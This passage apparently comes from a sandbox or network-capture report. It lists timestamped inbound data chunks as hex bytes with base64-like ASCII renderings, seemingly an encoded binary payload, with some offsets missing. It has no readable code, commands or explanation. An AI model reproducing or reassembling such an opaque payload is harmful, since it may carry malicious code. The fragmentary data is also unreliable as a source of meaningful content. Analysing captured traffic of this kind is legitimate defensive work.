46 41 41 45 41 41 42 6a 46 41 41 45 41 41 52 6a 46 Data Ascii: AEAABjFAAEAABjFAAEAABjFAAEAABjFAAEAABjFAAEAABjFAAEAABjFAAEAABjFAAEAABjFAAEAABjFAAEAABjFAAEAABjFAAEAABo8AAMAABnQAAIAABjFAAEAABjFAAEAABjFAAEAABjFAAEAABjFAAEAABjFAAEAABjFAAEAABjFAAEAABjFAAEAABjFAAEAABjFAAEAABjFAAEAABjFAAEAABjFAAEAABjFAAEAABjFAAEAABjFAAEAARjF
2023-04-20 23:03:00 UTC	320	IN	Data Raw: 4d 55 67 6c 67 43 41 41 41 41 41 41 42 49 5a 4f 47 59 59 78 53 43 57 41 49 41 41 41 41 41 41 45 68 59 34 57 68 6a 46 49 4a 59 41 67 41 41 41 41 41 41 53 46 51 39 4d 47 4d 55 67 6c 67 43 41 41 41 41 41 41 42 49 53 4f 45 34 59 78 53 43 57 41 49 41 41 41 41 41 41 45 67 38 34 52 52 6e 51 49 4a 59 41 67 41 41 41 41 41 41 53 44 44 68 46 47 4d 55 67 6c 67 43 41 41 41 41 41 41 42 49 4d 41 4b 41 73 53 68 69 47 41 41 41 41 42 4f 50 49 45 67 6f 34 50 47 57 4d 42 63 59 41 41 41 41 41 41 41 41 53 43 51 65 6d 5a 59 77 46 78 67 41 41 41 41 41 41 41 42 49 4a 41 4b 41 61 50 41 43 42 41 41 41 41 42 4e 77 6f 45 67 67 41 73 53 79 43 41 4d 51 41 41 41 41 45 32 2f 51 53 43 41 43 67 47 64 41 41 67 51 41 41 41 41 54 62 53 42 49 47 4f 44 51 59 78 51 43 42 41 41 41 41 42 4e 72 38 Data Ascii: MUglgCAAAAAABIZOGYYxSCWAIAAAAAAEhY4WhjFIJYAgAAAAAASFQ9MGMUglgCAAAAAABISOE4YxSCWAIAAAAAAEg84RRnQIJYAgAAAAAASDDhFGMUglgCAAAAAABIMAKAsShiGAAAABOPIEgo4PGWMBcYAAAAAAAASCQemZYwFxgAAAAAAABIJAKAaPACBAAAABNwoEggAsSyCAMQAAAAE2/QSCACgGdAAgQAAAATbSBIGODQYxQCBAAAABNr8
2023-04-20 23:03:00 UTC	336	IN	Data Raw: 70 34 75 4e 46 34 75 42 63 59 41 41 41 41 41 41 41 41 4f 6e 53 34 74 58 69 34 46 78 67 41 41 41 41 41 41 41 41 36 64 41 4b 41 73 53 68 69 47 41 41 41 41 41 2f 4e 55 44 70 30 41 6f 43 78 4b 47 49 59 41 41 41 41 44 38 7a 51 4f 6e 41 4e 49 47 4d 55 41 67 77 41 41 41 41 50 79 38 41 36 63 41 4b 41 73 53 68 69 47 41 41 41 41 41 2f 4c 51 44 70 77 75 48 78 6a 46 49 4a 45 41 67 41 41 41 41 41 41 4f 6d 69 34 58 47 4d 55 67 6b 51 43 41 41 41 41 41 41 41 36 58 4c 67 6f 59 78 53 43 52 41 49 41 41 41 41 41 41 44 70 59 49 63 78 6e 51 41 49 45 41 41 41 41 44 38 65 67 4f 6c 67 43 67 47 6b 55 41 67 51 41 41 41 41 50 78 54 41 36 57 41 4b 41 61 50 41 43 42 41 41 41 41 41 2f 44 45 44 70 55 4a 70 52 6a 46 41 49 45 41 41 41 41 44 38 45 41 4f 6c 51 43 67 47 64 41 41 67 51 41 41 Data Ascii: p4uNF4uBcYAAAAAAAAOnS4tXi4FxgAAAAAAAA6dAKAsShiGAAAAA/NUDp0AoCxKGIYAAAAD8zQOnANIGMUAgwAAAAPy8A6cAKAsShiGAAAAA/LQDpwuHxjFIJEAgAAAAAAOmi4XGMUgkQCAAAAAAA6XLgoYxSCRAIAAAAAADpYIcxnQAIEAAAAD8egOlgCgGkUAgQAAAAPxTA6WAKAaPACBAAAAA/DEDpUJpRjFAIEAAAAD8EAOlQCgGdAAgQAA
2023-04-20 23:03:00 UTC	368	IN	Data Raw: 41 4c 39 6c 41 74 5a 41 37 4a 49 42 51 44 45 41 41 41 41 41 76 31 41 43 31 67 44 73 69 36 31 41 4d 51 41 41 41 41 43 2f 51 67 4c 56 77 44 5a 4c 4c 4d 41 78 41 41 41 41 41 4c 38 30 41 74 57 41 4e 6b 73 6d 77 44 45 41 41 41 41 41 76 79 45 43 31 55 41 32 53 79 6e 41 4d 51 41 41 41 41 43 2f 42 41 4c 56 51 43 67 4e 73 34 41 78 41 41 41 41 41 4c 37 7a 41 74 55 47 38 59 59 78 51 43 42 41 41 41 41 41 76 75 59 43 31 51 41 72 52 70 44 41 49 59 41 41 41 41 43 2b 35 51 4c 56 41 43 74 47 6b 55 41 68 67 41 41 41 41 4c 37 6b 41 74 55 4a 46 51 5a 30 41 43 47 41 41 41 41 41 76 74 77 43 31 51 6b 57 68 6a 46 41 49 59 41 41 41 41 43 2b 31 41 4c 56 41 43 74 47 6a 77 41 68 67 41 41 41 41 4c 37 54 41 74 55 4a 46 51 59 78 51 43 47 41 41 41 41 41 76 73 73 43 31 51 62 71 68 6a 46 Data Ascii: AL9lAtZA7JIBQDEAAAAAv1AC1gDsi61AMQAAAAC/QgLVwDZLLMAxAAAAAL80AtWANksmwDEAAAAAvyEC1UA2SynAMQAAAAC/BALVQCgNs4AxAAAAAL7zAtUG8YYxQCBAAAAAvuYC1QArRpDAIYAAAAC+5QLVACtGkUAhgAAAAL7kAtUJFQZ0ACGAAAAAvtwC1QkWhjFAIYAAAAC+1ALVACtGjwAhgAAAAL7TAtUJFQYxQCGAAAAAvssC1QbqhjF
2023-04-20 23:03:00 UTC	384	IN	Data Raw: 4d 59 41 41 41 41 43 48 6a 67 48 50 77 43 44 4c 47 4d 41 78 67 41 41 41 41 49 64 74 41 63 2b 42 4f 6b 59 78 51 43 47 41 41 41 41 41 68 32 41 42 7a 34 45 35 42 6a 46 41 49 59 41 41 41 41 43 48 57 41 48 50 67 71 64 4d 35 30 41 78 67 41 41 41 41 49 64 4a 41 63 38 47 5a 67 73 53 68 69 47 41 41 41 41 41 68 7a 34 42 7a 6f 4b 6a 43 78 4b 47 49 59 41 41 41 41 43 48 4d 77 48 4f 52 6d 54 47 4d 55 41 6c 67 41 41 41 41 49 63 71 41 63 35 41 4b 41 59 78 51 43 47 41 41 41 41 41 68 79 45 42 7a 6b 44 52 42 6a 46 41 49 59 41 41 41 41 43 47 76 77 48 4f 52 6d 4e 47 4d 55 41 68 67 41 41 41 41 49 61 33 41 63 35 47 59 59 59 78 51 43 47 41 41 41 41 41 68 6f 49 42 7a 6b 45 35 42 6a 46 41 49 45 41 41 41 41 43 47 63 41 48 4f 42 6c 2f 47 4d 55 41 6c 67 41 41 41 41 49 5a 69 41 63 34 Data Ascii: MYAAAACHjgHPwCDLGMAxgAAAAIdtAc+BOkYxQCGAAAAAh2ABz4E5BjFAIYAAAACHWAHPgqdM50AxgAAAAIdJAc8GZgsShiGAAAAAhz4BzoKjCxKGIYAAAACHMwHORmTGMUAlgAAAAIcqAc5AKAYxQCGAAAAAhyEBzkDRBjFAIYAAAACGvwHORmNGMUAhgAAAAIa3Ac5GYYYxQCGAAAAAhoIBzkE5BjFAIEAAAACGcAHOBl/GMUAlgAAAAIZiAc4
2023-04-20 23:03:00 UTC	400	IN	Data Raw: 48 38 59 78 51 43 47 41 41 41 41 41 53 51 38 41 36 45 46 43 44 45 30 41 4d 51 41 41 41 41 42 49 37 77 44 6f 51 4e 45 47 64 41 41 67 51 41 41 41 41 45 6a 49 41 4f 68 41 30 51 59 78 51 43 42 41 41 41 41 41 53 4d 59 41 36 41 44 53 42 6a 46 41 49 45 41 41 41 41 42 49 74 41 44 6e 77 34 2b 47 4d 55 41 6b 51 41 41 41 41 45 69 64 41 4f 66 41 46 77 73 51 78 69 52 41 41 41 41 41 53 49 77 41 35 30 4b 4c 79 78 4b 47 49 59 41 41 41 41 42 49 66 51 44 6d 77 54 2b 4c 45 6f 59 68 67 41 41 41 41 45 68 5a 41 4f 61 41 4f 41 59 78 51 43 47 41 41 41 41 41 53 44 63 41 35 6f 41 6f 42 6e 51 41 49 45 41 41 41 41 42 49 4b 41 44 6d 67 43 67 47 4d 55 41 68 67 41 41 41 41 45 67 55 41 4f 61 41 48 38 5a 30 41 43 47 41 41 41 41 41 53 41 41 41 35 6f 41 66 78 6a 46 41 49 59 41 41 41 41 42 Data Ascii: H8YxQCGAAAAASQ8A6EFCDE0AMQAAAABI7wDoQNEGdAAgQAAAAEjIAOhA0QYxQCBAAAAASMYA6ADSBjFAIEAAAABItADnw4+GMUAkQAAAAEidAOfAFwsQxiRAAAAASIwA50KLyxKGIYAAAABIfQDmwT+LEoYhgAAAAEhZAOaAOAYxQCGAAAAASDcA5oAoBnQAIEAAAABIKADmgCgGMUAhgAAAAEgUAOaAH8Z0ACGAAAAASAAA5oAfxjFAIYAAAAB
2023-04-20 23:03:00 UTC	416	IN	Data Raw: 4c 77 41 6e 77 50 69 47 4d 55 41 67 77 41 41 41 41 42 4d 67 41 43 66 41 4b 41 73 53 68 69 47 41 41 41 41 41 45 78 67 41 4a 38 41 6f 43 79 43 41 65 59 41 41 41 41 41 54 43 67 41 6e 77 50 63 4c 75 77 4a 35 67 41 41 41 41 42 4d 43 41 43 66 41 39 59 75 31 77 6e 6d 41 41 41 41 41 45 76 6f 41 4a 38 44 30 43 37 43 43 65 59 41 41 41 41 41 53 38 67 41 6e 77 43 67 4c 45 6f 59 68 67 41 41 41 41 42 4c 4a 41 43 65 41 4e 49 73 6b 77 44 45 41 41 41 41 41 45 6c 73 41 4a 30 41 73 52 6e 51 41 49 45 41 41 41 41 41 52 2f 67 41 6e 51 43 67 47 4d 55 41 68 67 41 41 41 41 42 47 6d 41 43 63 41 4f 41 59 78 77 43 47 41 41 41 41 41 45 59 30 41 4a 73 41 34 42 70 4a 41 49 59 41 41 41 41 41 52 67 67 41 6d 67 44 67 47 6b 63 41 68 67 41 41 41 41 42 46 6a 41 43 5a 41 4f 41 61 51 77 43 47 Data Ascii: LwAnwPiGMUAgwAAAABMgACfAKAsShiGAAAAAExgAJ8AoCyCAeYAAAAATCgAnwPcLuwJ5gAAAABMCACfA9Yu1wnmAAAAAEvoAJ8D0C7CCeYAAAAAS8gAnwCgLEoYhgAAAABLJACeANIskwDEAAAAAElsAJ0AsRnQAIEAAAAAR/gAnQCgGMUAhgAAAABGmACcAOAYxwCGAAAAAEY0AJsA4BpJAIYAAAAARggAmgDgGkcAhgAAAABFjACZAOAaQwCG
2023-04-20 23:03:00 UTC	432	IN	Data Raw: 79 38 61 4e 77 41 52 48 78 73 6a 41 77 41 42 48 78 45 67 31 41 41 42 41 4d 67 64 2b 41 41 42 41 51 4d 61 50 67 41 68 48 77 77 61 4e 77 41 68 41 50 63 59 78 77 41 42 47 73 38 61 53 51 41 42 47 73 38 61 52 77 41 42 41 4a 45 61 51 77 41 68 41 4a 45 61 52 51 41 68 41 50 63 61 50 41 41 68 41 54 51 5a 30 41 41 68 41 50 49 59 78 51 41 42 41 50 38 61 50 41 41 42 41 50 63 5a 30 41 41 42 41 50 63 59 78 51 41 42 41 4a 45 73 65 67 59 47 41 4c 59 61 50 41 41 47 41 4c 59 5a 30 41 41 47 41 4c 59 59 78 51 41 47 41 4a 45 73 65 67 59 47 46 56 30 5a 30 41 41 52 46 56 67 59 78 51 41 52 43 62 45 61 50 41 41 47 48 71 6b 5a 30 41 41 47 43 59 6b 59 78 51 41 47 43 59 6b 65 5a 51 41 42 43 58 45 62 77 51 41 68 41 4d 67 5a 42 41 41 42 41 54 51 6a 44 51 41 42 45 55 51 6a 41 77 41 42 Data Ascii: y8aNwARHxsjAwABHxEg1AABAMgd+AABAQMaPgAhHwwaNwAhAPcYxwABGs8aSQABGs8aRwABAJEaQwAhAJEaRQAhAPcaPAAhATQZ0AAhAPIYxQABAP8aPAABAPcZ0AABAPcYxQABAJEsegYGALYaPAAGALYZ0AAGALYYxQAGAJEsegYGFV0Z0AARFVgYxQARCbEaPAAGHqkZ0AAGCYkYxQAGCYkeZQABCXEbwQAhAMgZBAABATQjDQABEUQjAwAB
2023-04-20 23:03:00 UTC	448	IN	Data Raw: 45 73 41 45 41 45 41 43 37 38 47 42 51 4c 46 41 41 41 6b 51 77 41 51 41 51 41 4c 6e 67 58 38 41 39 41 41 41 43 51 2b 41 42 41 42 41 41 75 59 42 66 77 43 78 51 41 41 4a 44 59 41 45 41 47 41 43 35 45 46 39 77 4c 46 41 41 41 6b 4c 67 41 51 41 51 41 4c 6b 51 58 77 42 43 30 41 41 43 51 6d 41 42 41 42 43 41 74 36 42 65 55 43 78 51 41 41 4a 42 34 41 45 41 45 41 43 30 34 46 35 51 41 41 41 41 41 6b 46 67 41 41 45 4b 41 4c 54 67 58 6b 41 64 45 41 41 43 51 4f 41 41 41 42 41 41 74 4c 42 65 49 43 78 51 41 41 4a 41 59 41 45 41 45 41 43 30 51 46 34 41 4c 46 41 41 41 6b 41 51 41 51 41 51 41 4c 51 67 58 66 41 73 55 41 41 43 50 35 41 42 41 42 67 41 74 41 42 64 38 43 78 51 41 41 49 2f 45 41 45 41 45 41 43 7a 67 46 33 51 4c 46 41 41 41 6a 36 51 41 51 41 51 41 4c 4e 41 58 62 Data Ascii: EsAEAEAC78GBQLFAAAkQwAQAQALngX8A9AAACQ+ABABAAuYBfwCxQAAJDYAEAGAC5EF9wLFAAAkLgAQAQALkQXwBC0AACQmABABCAt6BeUCxQAAJB4AEAEAC04F5QAAAAAkFgAAEKALTgXkAdEAACQOAAABAAtLBeICxQAAJAYAEAEAC0QF4ALFAAAkAQAQAQALQgXfAsUAACP5ABABgAtABd8CxQAAI/EAEAEACzgF3QLFAAAj6QAQAQALNAXb
2023-04-20 23:03:00 UTC	464	IN	Data Raw: 6c 69 57 2f 75 79 65 6b 62 41 78 74 6b 43 64 64 62 74 74 68 59 63 47 57 36 75 58 63 34 48 58 52 48 65 74 74 78 4a 76 31 61 31 4f 67 36 4e 59 36 48 52 46 48 6e 37 77 47 71 55 58 53 47 69 75 38 68 65 67 6c 53 37 2b 6a 69 37 43 70 52 64 49 62 47 32 63 4d 47 62 37 49 7a 61 6c 46 30 68 69 4b 34 42 31 5a 35 63 4a 59 71 63 6b 52 65 6e 4d 38 6a 55 66 44 4b 55 58 53 59 64 53 38 52 57 6f 7a 73 41 38 56 71 2f 6e 65 78 71 74 6a 36 6d 66 30 6f 74 44 43 36 74 52 4f 71 6d 58 49 42 30 43 42 6c 33 69 59 4b 66 6a 48 41 55 2b 35 6e 39 4d 70 52 64 4a 67 2b 6e 32 67 75 65 33 46 39 47 6c 46 30 6d 31 47 54 32 51 44 6f 44 4e 6a 47 43 6c 46 30 6e 49 37 51 37 4b 30 59 79 76 2b 31 72 76 62 68 64 67 4f 36 55 58 53 64 52 41 6b 75 32 6a 76 4c 65 6c 46 30 6e 72 6f 64 7a 53 44 36 55 58 Data Ascii: liW/uyekbAxtkCddbtthYcGW6uXc4HXRHettxJv1a1Og6NY6HRFHn7wGqUXSGiu8heglS7+ji7CpRdIbG2cMGb7IzalF0hiK4B1Z5cJYqckRenM8jUfDKUXSYdS8RWozsA8Vq/nexqtj6mf0otDC6tROqmXIB0CBl3iYKfjHAU+5n9MpRdJg+n2gue3F9GlF0m1GT2QDoDNjGClF0nI7Q7K0Yyv+1rvbhdgO6UXSdRAku2jvLelF0nrodzSD6UX
2023-04-20 23:03:00 UTC	624	IN	Data Raw: 66 48 64 74 37 79 4e 30 69 34 39 44 7a 57 6c 46 33 67 77 72 4d 49 50 37 6a 6f 58 2b 62 54 79 33 4d 71 59 6b 5a 71 2f 34 46 2b 6d 49 71 55 58 65 46 51 4c 6f 78 78 54 46 49 4a 53 72 45 69 70 57 42 6f 4d 6c 4f 62 6d 4b 6c 65 6c 46 33 68 6c 6b 56 6c 71 70 77 69 61 45 4d 47 38 4b 61 69 53 31 51 6b 59 38 6f 79 6e 68 32 53 6c 46 33 68 6a 61 59 69 74 32 47 77 68 56 42 5a 51 35 30 4f 48 55 76 37 46 6f 30 39 4c 6b 4b 55 58 65 59 6d 56 6a 63 58 4e 79 63 4d 73 36 45 67 45 36 61 44 68 49 42 79 47 61 62 61 77 75 4e 71 63 70 52 64 35 73 42 57 36 34 70 62 45 73 62 6d 70 34 4e 71 75 74 75 68 42 59 34 66 54 68 71 66 32 2b 36 55 58 65 64 35 33 4b 6f 56 55 2b 37 37 41 77 35 30 63 68 47 6b 36 6e 61 74 43 6c 30 4e 46 6a 36 55 58 65 63 58 71 42 78 75 35 76 70 2b 53 64 38 44 32 Data Ascii: fHdt7yN0i49DzWlF3gwrMIP7joX+bTy3MqYkZq/4F+mIqUXeFQLoxxTFIJSrEipWBoMlObmKlelF3hlkVlqpwiaEMG8KaiS1QkY8oynh2SlF3hjaYit2GwhVBZQ50OHUv7Fo09LkKUXeYmVjcXNycMs6EgE6aDhIByGabawuNqcpRd5sBW64pbEsbmp4NqutuhBY4fThqf2+6UXed53KoVU+77Aw50chGk6natCl0NFj6UXecXqBxu5vp+Sd8D2
2023-04-20 23:03:00 UTC	640	IN	Data Raw: 69 55 59 62 57 78 76 46 33 6f 33 4d 72 39 46 38 6b 6c 39 56 47 53 44 44 71 48 77 67 50 75 6c 46 79 68 74 46 71 37 79 75 71 57 69 79 65 58 68 6b 37 71 51 66 41 39 65 6d 4f 37 38 61 2f 62 62 42 7a 77 58 48 4a 48 49 52 35 79 79 78 51 37 47 4b 65 45 52 31 38 35 2b 70 52 63 6f 51 43 65 4b 68 41 70 47 67 7a 4c 54 55 4c 30 47 74 46 67 62 66 51 36 44 7a 70 62 6e 50 6a 32 59 64 46 4b 74 68 69 58 41 61 62 55 4a 49 62 5a 57 48 79 49 56 6d 71 55 58 4b 62 74 74 70 31 45 6e 48 68 63 33 6a 75 63 71 76 39 34 49 69 73 69 35 39 38 36 36 7a 7a 5a 47 71 55 45 4c 4f 6e 6d 63 5a 39 41 59 4d 78 67 4e 53 41 4c 62 36 39 75 6c 46 79 6e 75 4d 54 67 39 54 30 7a 36 50 45 64 4b 39 7a 35 72 6e 47 68 49 61 58 64 4a 68 46 42 72 74 4e 53 6d 74 44 75 74 4a 6d 72 30 4c 37 55 57 71 43 43 4a Data Ascii: iUYbWxvF3o3Mr9F8kl9VGSDDqHwgPulFyhtFq7yuqWiyeXhk7qQfA9emO78a/bbBzwXHJHIR5yyxQ7GKeER185+pRcoQCeKhApGgzLTUL0GtFgbfQ6DzpbnPj2YdFKthiXAabUJIbZWHyIVmqUXKbttp1EnHhc3jucqv94Iisi59866zzZGqUELOnmcZ9AYMxgNSALb69ulFynuMTg9T0z6PEdK9z5rnGhIaXdJhFBrtNSmtDutJmr0L7UWqCCJ
2023-04-20 23:03:00 UTC	672	IN	Data Raw: 46 4e 59 31 2f 58 2f 2b 71 61 61 68 6f 77 7a 46 61 63 52 36 2b 4e 58 38 6c 46 6d 2f 53 35 79 6c 43 7a 4e 78 7a 66 6c 42 6b 72 34 50 4e 39 6f 41 78 4a 46 72 74 51 38 67 62 42 68 41 49 73 37 37 30 71 71 50 51 2b 6f 4b 74 72 58 75 62 74 47 53 65 49 37 72 74 39 4f 72 46 50 32 4c 55 36 54 47 56 2f 53 53 55 37 75 43 66 75 72 58 64 73 6a 33 39 73 36 76 2b 4a 4b 6f 73 79 39 30 2f 6e 42 6b 44 32 6f 65 33 2f 61 4f 71 33 76 53 4d 6f 36 63 78 30 66 34 6c 50 34 49 59 71 41 45 76 52 6a 4e 35 4c 6a 78 65 4e 43 4d 34 56 58 38 68 43 49 52 70 65 39 35 77 2b 4d 5a 39 44 69 31 34 45 4d 70 5a 44 48 59 31 58 31 4a 51 54 44 5a 6f 63 55 4f 62 68 51 2b 36 57 51 78 6c 39 42 64 4c 50 67 47 41 75 68 48 2f 47 75 67 46 75 6b 39 4e 67 66 2f 2b 2f 68 73 2b 4b 38 4f 41 54 71 75 36 4d 54 Data Ascii: FNY1/X/+qaahowzFacR6+NX8lFm/S5ylCzNxzflBkr4PN9oAxJFrtQ8gbBhAIs770qqPQ+oKtrXubtGSeI7rt9OrFP2LU6TGV/SSU7uCfurXdsj39s6v+JKosy90/nBkD2oe3/aOq3vSMo6cx0f4lP4IYqAEvRjN5LjxeNCM4VX8hCIRpe95w+MZ9Di14EMpZDHY1X1JQTDZocUObhQ+6WQxl9BdLPgGAuhH/GugFuk9Ngf/+/hs+K8OATqu6MT
2023-04-20 23:03:00 UTC	704	IN	Data Raw: 48 2b 5a 57 32 36 5a 65 75 69 70 43 65 56 36 4c 4e 6c 70 2b 6a 7a 4a 4c 72 75 4d 4c 5a 78 65 47 62 4d 50 6d 38 6c 69 32 68 4d 34 6e 48 2f 76 32 33 32 65 57 52 4b 2b 58 38 4c 49 4f 34 78 49 78 6d 61 45 46 69 57 44 4e 71 48 6c 45 4b 63 31 5a 38 46 34 34 5a 59 7a 31 68 56 34 67 6a 47 6b 35 30 50 30 50 57 62 46 4a 65 44 73 54 36 38 78 44 61 6c 50 32 73 74 71 31 55 70 49 34 51 33 4c 37 55 47 6c 4f 51 53 73 53 59 2b 51 4d 64 31 49 53 65 73 4d 79 73 46 70 32 45 74 38 33 32 71 75 75 68 72 37 4f 32 75 66 66 4f 72 41 61 34 70 4e 4c 64 38 39 2b 75 68 4d 39 57 6f 2f 6d 69 33 72 58 76 64 4d 32 37 6b 59 39 6d 49 71 6a 6a 76 32 72 51 72 72 4b 67 33 32 47 49 32 2f 48 2f 64 69 4c 34 64 72 2b 2f 30 4e 36 53 36 6b 58 65 38 6f 51 65 6f 4d 6d 74 68 36 7a 51 39 65 72 6b 36 4b Data Ascii: H+ZW26ZeuipCeV6LNlp+jzJLruMLZxeGbMPm8li2hM4nH/v232eWRK+X8LIO4xIxmaEFiWDNqHlEKc1Z8F44ZYz1hV4gjGk50P0PWbFJeDsT68xDalP2stq1UpI4Q3L7UGlOQSsSY+QMd1ISesMysFp2Et832quuhr7O2uffOrAa4pNLd89+uhM9Wo/mi3rXvdM27kY9mIqjjv2rQrrKg32GI2/H/diL4dr+/0N6S6kXe8oQeoMmth6zQ9erk6K
2023-04-20 23:03:00 UTC	720	IN	Data Raw: 59 31 55 55 6e 7a 63 50 71 72 68 52 59 51 36 4d 72 6a 32 38 6a 47 52 56 2b 54 56 58 78 45 56 51 75 45 6e 6c 46 4f 7a 78 74 4f 7a 67 6e 62 44 33 33 57 50 78 38 50 79 42 70 43 7a 4f 38 75 44 4d 77 4c 32 59 58 66 77 30 77 66 53 59 6f 59 7a 46 52 50 58 30 62 4d 7a 38 6d 33 65 64 77 4b 47 75 6e 4b 53 45 6a 4f 35 33 6b 4f 69 45 6f 35 79 51 76 63 7a 6a 73 33 69 42 77 49 53 79 6b 62 57 73 6a 50 39 34 74 66 6d 45 76 37 53 64 6f 63 7a 47 72 33 47 51 32 33 64 51 62 32 4e 4f 66 78 43 6e 53 78 5a 33 61 56 74 6a 51 78 63 31 54 61 75 6d 55 48 4e 58 51 32 4d 51 4e 37 64 42 59 6b 5a 6a 51 33 4f 55 32 54 49 56 4b 6a 6f 58 4a 6b 6c 49 49 77 51 37 4a 67 74 36 56 70 73 79 50 77 35 37 30 69 37 4c 41 32 45 5a 2f 56 30 72 43 43 77 6b 42 48 64 30 59 57 30 51 66 58 51 66 51 57 46 Data Ascii: Y1UUnzcPqrhRYQ6Mrj28jGRV+TVXxEVQuEnlFOzxtOzgnbD33WPx8PyBpCzO8uDMwL2YXfw0wfSYoYzFRPX0bMz8m3edwKGunKSEjO53kOiEo5yQvczjs3iBwISykbWsjP94tfmEv7SdoczGr3GQ23dQb2NOfxCnSxZ3aVtjQxc1TaumUHNXQ2MQN7dBYkZjQ3OU2TIVKjoXJklIIwQ7Jgt6VpsyPw570i7LA2EZ/V0rCCwkBHd0YW0QfXQfQWF
2023-04-20 23:03:00 UTC	736	IN	Data Raw: 51 54 74 65 30 50 4d 6a 34 6e 64 42 59 6b 5a 43 34 6a 4c 7a 5a 70 43 7a 6c 35 2b 32 44 4b 33 61 46 6d 50 75 43 6d 5a 65 4f 4d 47 75 38 31 58 2f 6c 38 71 73 38 2f 49 76 6a 34 38 6c 72 39 72 6c 53 57 35 52 58 58 42 49 37 6b 30 31 4b 45 6c 58 5a 56 31 38 30 53 6b 30 56 55 5a 30 54 47 55 64 30 57 79 49 79 69 59 66 66 57 4d 4c 39 4e 54 5a 39 4d 32 75 2f 78 63 70 36 67 35 6a 57 76 37 6c 53 6f 54 33 6e 33 61 4c 4b 50 7a 52 36 49 6f 4c 49 31 76 35 62 55 4c 37 57 31 4e 37 42 43 47 7a 32 32 42 43 77 69 6c 55 4d 65 30 42 66 68 74 54 65 77 58 68 73 42 39 41 67 63 55 39 64 44 58 62 4e 45 6c 4b 6f 38 38 35 63 77 62 76 45 58 42 57 6d 75 63 41 50 6a 4c 4b 4c 45 65 4c 39 74 4b 42 4c 33 4f 79 39 68 2b 6d 4e 33 59 37 78 69 4b 76 4d 31 34 65 79 79 48 62 4f 56 2b 54 36 47 75 Data Ascii: QTte0PMj4ndBYkZC4jLzZpCzl5+2DK3aFmPuCmZeOMGu81X/l8qs8/Ivj48lr9rlSW5RXXBI7k01KElXZV180Sk0VUZ0TGUd0WyIyiYffWML9NTZ9M2u/xcp6g5jWv7lSoT3n3aLKPzR6IoLI1v5bUL7W1N7BCGz22BCwilUMe0BfhtTewXhsB9AgcU9dDXbNElKo885cwbvEXBWmucAPjLKLEeL9tKBL3Oy9h+mN3Y7xiKvM14eyyHbOV+T6Gu
2023-04-20 23:03:00 UTC	752	IN	Data Raw: 67 61 58 37 30 37 69 63 77 76 61 64 6f 37 4b 6d 36 6c 4b 7a 4b 51 5a 73 32 46 47 34 41 65 56 33 58 32 57 43 6f 4b 78 55 74 43 6b 43 65 5a 67 52 2f 51 43 6c 66 4e 30 72 6f 45 52 76 30 6e 52 4d 5a 62 5a 59 38 66 5a 45 78 64 41 36 49 53 44 68 44 6e 57 52 6a 2b 6f 39 2f 50 4a 66 35 4d 46 52 6d 79 46 67 42 79 78 78 4d 78 33 52 72 45 6e 47 4c 35 57 77 71 63 6a 7a 6c 56 57 31 78 65 4b 2b 6c 61 7a 49 78 34 2b 31 39 4b 46 4b 73 49 75 52 75 49 50 67 6b 33 6e 41 4a 75 6e 6a 2f 68 72 50 4a 52 2f 38 32 74 59 75 7a 78 45 35 41 2b 54 4c 78 7a 2f 64 6a 76 6a 62 2f 2f 6b 54 71 6b 31 6a 79 44 63 30 48 66 51 4c 37 76 7a 55 62 38 76 49 34 39 6e 2f 41 41 77 30 46 4e 76 7a 79 43 72 38 55 2b 33 50 4b 43 54 63 50 47 72 46 4f 6a 6b 51 2b 51 55 6e 38 52 38 41 41 63 41 74 31 50 56 Data Ascii: gaX707icwvado7Km6lKzKQZs2FG4AeV3X2WCoKxUtCkCeZgR/QClfN0roERv0nRMZbZY8fZExdA6ISDhDnWRj+o9/PJf5MFRmyFgByxxMx3RrEnGL5WwqcjzlVW1xeK+lazIx4+19KFKsIuRuIPgk3nAJunj/hrPJR/82tYuzxE5A+TLxz/djvjb//kTqk1jyDc0HfQL7vzUb8vI49n/AAw0FNvzyCr8U+3PKCTcPGrFOjkQ+QUn8R8AAcAt1PV
2023-04-20 23:03:00 UTC	768	IN	Data Raw: 44 65 32 52 77 50 54 54 36 4f 69 63 4b 4d 33 47 5a 63 4f 35 35 6b 4a 6c 6e 6c 74 37 58 32 64 74 6e 6e 36 43 53 6d 70 59 64 6e 4f 43 59 4e 35 4a 4f 31 37 6e 61 31 35 7a 67 6b 70 71 53 6e 5a 48 4e 6c 4a 71 66 34 39 76 45 31 35 71 54 58 5a 6e 48 6d 39 43 56 66 5a 57 4b 6e 70 50 62 68 4e 62 61 6c 74 32 62 35 35 38 77 6c 32 76 79 6a 50 69 56 76 65 4b 78 2f 50 43 37 2f 52 48 35 35 76 64 4c 38 30 7a 34 39 62 6e 79 73 4c 7a 30 36 2f 79 78 2b 59 62 39 30 59 6a 47 67 6b 2f 48 32 4d 70 6d 6a 5a 61 52 69 34 63 73 6a 46 47 4d 78 6f 4a 2f 77 34 6a 4c 78 6f 34 78 68 2f 75 48 7a 49 70 53 6d 35 57 51 6a 4e 57 72 32 66 57 64 73 70 5a 6f 6b 49 2b 65 51 70 70 46 6b 35 7a 55 79 39 6a 56 6e 63 4b 57 32 4a 54 66 6b 46 31 31 79 6e 73 7a 4f 79 51 32 71 6e 4b 74 65 44 64 2f 59 48 Data Ascii: De2RwPTT6OicKM3GZcO55kJlnlt7X2dtnn6CSmpYdnOCYN5JO17na15zgkpqSnZHNlJqf49vE15qTXZnHm9CVfZWKnpPbhNbalt2b558wl2vyjPiVveKx/PC7/RH55vdL80z49bnysLz06/yx+Yb90YjGgk/H2MpmjZaRi4csjFGMxoJ/w4jLxo4xh/uHzIpSm5WQjNWr2fWdspZokI+eQppFk5zUy9jVncKW2JTfkF11ynszOyQ2qnKteDd/YH
2023-04-20 23:03:00 UTC	784	IN	Data Raw: 50 68 6f 6a 73 67 4e 6a 47 68 63 6b 78 6a 2b 6a 48 7a 49 4d 6d 32 2f 4b 64 69 4a 58 63 30 74 48 64 78 5a 76 65 35 74 69 57 35 74 6f 43 6e 59 69 56 33 4e 45 42 33 52 57 61 7a 4e 41 34 6c 79 66 62 51 35 32 5a 6c 51 33 53 30 4e 79 55 6d 38 77 6e 32 5a 66 6e 32 34 4f 63 53 5a 54 64 30 37 44 63 68 4a 72 64 30 53 6d 58 2b 50 66 38 73 7a 61 36 6f 76 31 66 38 77 75 30 59 76 2b 32 75 57 6a 30 76 4c 4f 32 75 71 42 72 76 2f 4c 4c 74 43 4c 2b 70 72 69 38 67 42 68 78 67 73 2f 32 69 5a 75 48 48 38 48 47 69 36 4c 4e 33 49 47 49 78 33 4c 50 35 6f 6a 4b 30 59 2f 41 5a 6f 70 79 7a 52 62 72 6f 71 7a 